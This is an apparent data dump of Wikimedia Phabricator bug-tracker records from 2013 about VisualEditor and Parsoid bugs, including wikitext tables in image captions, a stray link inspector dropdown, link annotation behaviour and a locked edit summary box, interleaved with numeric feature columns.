    <img resource=""./File:Foo.jpg"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/06/Foo.jpg/200px-Foo.jpg""
      height=""131"" width=""200"" data-parsoid=""…"">
  </a>
  <figcaption class=""mw-figcaption"" data-parsoid=""…"">}

… and some more text.
  </figcaption>
</figure>
[End]

… whereas nominally it should be (generated using an HTML table rather than a wikitext one, which seems to work fine without DOM diffs from VE end):

[Start]
<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
    <img resource=""./File:Foo.jpg"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/06/Foo.jpg/200px-Foo.jpg""
      height=""131"" width=""200"" data-parsoid=""…"">
  </a>
  <figcaption class=""mw-figcaption"" data-parsoid=""…"">This is an example image thumbnail caption with a table

    <table data-parsoid=""…"">
      <tbody data-parsoid=""…"">
        <tr data-parsoid=""…"">
          <th data-parsoid=""…"">Foo</th>
           <th data-parsoid=""…"">Bar</th>
        </tr>
        <tr data-parsoid=""…"">
          <td data-parsoid=""…"">Foo1</td>
          <td data-parsoid=""…"">Bar1</td>
        </tr>
        <tr data-parsoid=""…"">
          <td data-parsoid=""…"">Foo2</td>
          <td data-parsoid=""…"">Bar2</td>
        </tr>
      </tbody>
    </table>

… and some more text.
  </figcaption>
</figure>
[End]",,,1371999975,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-2,,0.6,0.0,0.0,0.0,0.0,1.0,0.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.4,0.0,0.2,0.2,0.2,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,1.6,0.0,0.2,0.0,0.0,0.2,0.2,0.0,0.0,0.0,0.0,0.0,1.4,0.0,0.0,0.0,0.0,0.0,18.2,0.0,0.0,0.0,0.6,0.0,0.0,0.0,0.0,0.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.2,0.8,5.8,0.2,0.6,3.0,0.0,0.0,0.6,0.0,0.6,0.0,2.6,0.0,0.2,3.4,5.2,0.0,7.4,0.0,0.2,0.0,0.2,1.6,0.0,0.6,0.6,0.0,16.2,3.511755485893417,0.5108411703239291,"Horrible, relatively-rare case for Parsoid, is the use of wikitext tables inside image captions. Currently, the following wikitext:

[Start]
[[Image:Foo.jpg|thumb|200px|This is an example image thumbnail caption with a table

{|
! Foo !! Bar
|-
| Foo1 || Bar1
|-
| Foo2 || Bar2
|}

… and some more text.]]
[End]

… turns into the following output from Parsoid:

[Start]
<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
    <img resource=""./File:Foo.jpg"" src=""URL
      height=""131"" width=""200"" data-parsoid=""…"">
  </a>
  <figcaption class=""mw-figcaption"" data-parsoid=""…"">}

… and some more text.
  </figcaption>
</figure>
[End]

… whereas nominally it should be (generated using an HTML table rather than a wikitext one, which seems to work fine without DOM diffs from VE end):

[Start]
<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
    <img resource=""./File:Foo.jpg"" src=""URL
      height=""131"" width=""200"" data-parsoid=""…"">
  </a>
  <figcaption class=""mw-figcaption"" data-parsoid=""…"">This is an example image thumbnail caption with a table

    <table data-parsoid=""…"">
      <tbody data-parsoid=""…"">
        <tr data-parsoid=""…"">
          <th data-parsoid=""…"">Foo</th>
           <th data-parsoid=""…"">Bar</th>
        </tr>
        <tr data-parsoid=""…"">
          <td data-parsoid=""…"">Foo1</td>
          <td data-parsoid=""…"">Bar1</td>
        </tr>
        <tr data-parsoid=""…"">
          <td data-parsoid=""…"">Foo2</td>
          <td data-parsoid=""…"">Bar2</td>
        </tr>
      </tbody>
    </table>

… and some more text.
  </figcaption>
</figure>
[End]"
51941,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"1. In VE, highlight some text and open the link inspector
2. Type some characters into the textbox, but quickly click out of the link inspector before the autocomplete dropdown appears

The dropdown appears in the top-left corner of the page.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371798960,1373413695.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_description,resolved,True,c1,2,False,False,True,-2,,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,9.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.044117647058823,0.6323529411764706,"1. In VE, highlight some text and open the link inspector
2. Type some characters into the textbox, but quickly click out of the link inspector before the autocomplete dropdown appears

The dropdown appears in the top-left corner of the page.

--------------------------
**Version**: unspecified
**Severity**: major"
235146,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Not completely fixed; see bug 51415.,,,1373936995,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,1.0,Not completely fixed; see bug 51415.
235143,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Fixed and will go out soon.,,,1373413695,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,Fixed and will go out soon.
235134,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"Change 72849 merged by jenkins-bot:
Be sure lookupMenu input is focused before showing

https://gerrit.wikimedia.org/r/72849",,,1373412773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.578947368421052,1.0,"Change 72849 merged by jenkins-bot:
Be sure lookupMenu input is focused before showing

GERRIT_URL"
235125,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"(Cite bug 51077 comment #0)
> Created attachment bug 51077 12810 [details]
> Screenshot of ripped-apart link inspector
> 
> I can consistently reproduce the following:
> 
> * Select an unlinked word
> * Create the insert link button (with intention to turn the word into a link)
> * If you hit Return immediately after (before it has finished opening) it
> will
> replace the focussed node with a new line. Though that is a separate bug and
> arguably an invalid use case (why would one be pressing Return at this point,
> the user hasn't even seen the options yet. It interpreting it as intend to
> replace the node isn't entirely unreasable, but that's a separate bug - bug
> 51075).
> * At this point the link inspector dom has blown up. Part of it is gone, and
> the other part is left half-way across the screen at a seemingly arbitrary
> offset (see attachment).",,,1373411632,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9761904761904763,0.23809523809523808,"(Cite bug 51077 comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
235118,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,*** Bug 51077 has been marked as a duplicate of this bug. ***,,,1373411601,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51077 has been marked as a duplicate of this bug. ***
235113,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"Change 72849 had a related patch set uploaded by Robmoen:
Be sure lookupMenu input is focused before showing inputMenu.

https://gerrit.wikimedia.org/r/72849",,,1373408156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.75,1.0,"Change 72849 had a related patch set uploaded by Robmoen:
Be sure lookupMenu input is focused before showing inputMenu.

GERRIT_URL"
235108,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"(This happens particularly often on Opera for me, by the way. I haven't yet investigated the issue.)",,,1373331336,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.652173913043478,0.9130434782608695,"(This happens particularly often on Opera for me, by the way. I haven't yet investigated the issue.)"
235102,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,"I am raising the severity on this, because it is not just a display bug, but also causes the intended link target to be ignored -- if the user confirms the link with enter, only the link title is used and the link target is quietly discarded.",,,1373331185,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,2.0,4.0,4.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.843137254901961,0.7450980392156863,"I am raising the severity on this, because it is not just a display bug, but also causes the intended link target to be ignored -- if the user confirms the link with enter, only the link title is used and the link target is quietly discarded."
235098,VisualEditor: Part of link inspector interface sometimes remains (top-left of screen) after closing,Confirmed. This also happens if you type too quickly and press enter.,,,1372893436,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hk4qv3of7jiwnhul5ayb,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,Confirmed. This also happens if you type too quickly and press enter.
51931,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"1. Go to [[mw:VisualEditor:TTO]] and edit in VE
2. Double-click on a link in order to select it, or drag-select the whole link
3. Type a new link text

Only the first character you type remains linked, instead of the whole text you type.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371793260,1374771607.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.2409638554216866,0.6024096385542169,"1. Go to [[mw:VisualEditor:TTO]] and edit in VE
2. Double-click on a link in order to select it, or drag-select the whole link
3. Type a new link text

Only the first character you type remains linked, instead of the whole text you type.

--------------------------
**Version**: unspecified
**Severity**: normal"
234239,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"With bug 51463 closed, this is now complete. Marking as fixed.",,,1374771607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7142857142857144,0.9285714285714286,"With bug 51463 closed, this is now complete. Marking as fixed."
234232,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,See bug 51463,,,1374001912,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,See bug 51463
234225,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"(In reply to comment #5)
> That's all well and good, but now if my document ends in a link (a common
> case if I link the last thing I typed) I can't put plain text after it, which
> is the very reason we disabled trailing annotations for links in the first
> place...

You can - you just need to press the ""clear annotations"" button, or press return to get a new context with no pre-annotations. However, yes, these suck for discoverability. I think not-extending-over-whitespace is the best solution, though it's fiddly and difficult to support.",,,1373992527,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,3.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,1.0,3.0,6.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,5.0,12.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.6025641025641026,0.717948717948718,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

You can - you just need to press the ""clear annotations"" button, or press return to get a new context with no pre-annotations. However, yes, these suck for discoverability. I think not-extending-over-whitespace is the best solution, though it's fiddly and difficult to support."
234219,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"That's all well and good, but now if my document ends in a link (a common case if I link the last thing I typed) I can't put plain text after it, which is the very reason we disabled trailing annotations for links in the first place...",,,1373992120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,2,,2.0,0.0,2.0,0.0,2.0,13.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,7.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.5,0.8333333333333334,"That's all well and good, but now if my document ends in a link (a common case if I link the last thing I typed) I can't put plain text after it, which is the very reason we disabled trailing annotations for links in the first place..."
234212,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"Change 73902 merged by jenkins-bot:
Continue links

https://gerrit.wikimedia.org/r/73902",,,1373934716,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,"Change 73902 merged by jenkins-bot:
Continue links

GERRIT_URL"
234204,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"Change 73902 had a related patch set uploaded by Catrope:
Continue links

https://gerrit.wikimedia.org/r/73902",,,1373931509,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Change 73902 had a related patch set uploaded by Catrope:
Continue links

GERRIT_URL"
234197,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"I agree that this behaviour is not great for users; we should reverse the decision to abandon ""pre-annotation"" (that is, if you're typing, we'll apply the same formatting as the character immediately before the one you've just typed in the same paragraph) for links.

Our concern was that having links always extent would be more tiresome for editors, which I still agree with, and that extending but not over whitespace would be confusing, which I think is arguable, but the current behaviour is worse.",,,1373155708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,1.5,6.5,5.5,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,4.5,0.5,5.5,9.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,7.5,1.0,0.0,1.5,1.0,0.0,2.0,1.0,1.5,0.0,0.0,0.5,1.0,0.0,3.0,0.0,0.0,0.5,10.0,2.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,6.0,3.5,3.0,3.0,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,5.5,9.5,0.0,0.0,1.0,0.0,5.5,0.0,2.0,0.0,0.0,2.5,2.0,0.0,0.0,4.088989441930618,0.7667797888386123,"I agree that this behaviour is not great for users; we should reverse the decision to abandon ""pre-annotation"" (that is, if you're typing, we'll apply the same formatting as the character immediately before the one you've just typed in the same paragraph) for links.

Our concern was that having links always extent would be more tiresome for editors, which I still agree with, and that extending but not over whitespace would be confusing, which I think is arguable, but the current behaviour is worse."
234190,VisualEditor: Links not doing pre-annotations ever (rather than just not spanning on ' ') is confusing for users,"A related problem is, when you change only the first character of a link, that first letter is no longer part of the link. For example, if you change [[edinburgh]] to [[Edinburgh]], it becomes E[[dinburgh]].",,,1372852867,,PHID-USER-6hxjlzg5h4uzsyxbsm43,False,,,PHID-TASK-4g3nhqcki5ifz5oczcu7,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,16.0,3.392156862745098,0.6274509803921569,"A related problem is, when you change only the first character of a link, that first letter is no longer part of the link. For example, if you change [[edinburgh]] to [[Edinburgh]], it becomes E[[dinburgh]]."
51927,"VisualEditor: Clicking outside the ""Describe what you changed"" box locks it","Steps to replicate:

(1)Click ""Edit"" and make some change
(2)Click ""Save page"". The cursor is now blinking in the ""Describe what you changed"" box.
(3)Click on another dialogue box, such as the WP search box. The cursor now blinks there.
(4) Click back into ""Describe what you changed"". Bupkis.

Chrome 27.0.1453.116, Firefox 21.0, Windows 7.

--------------------------
**Version**: unspecified
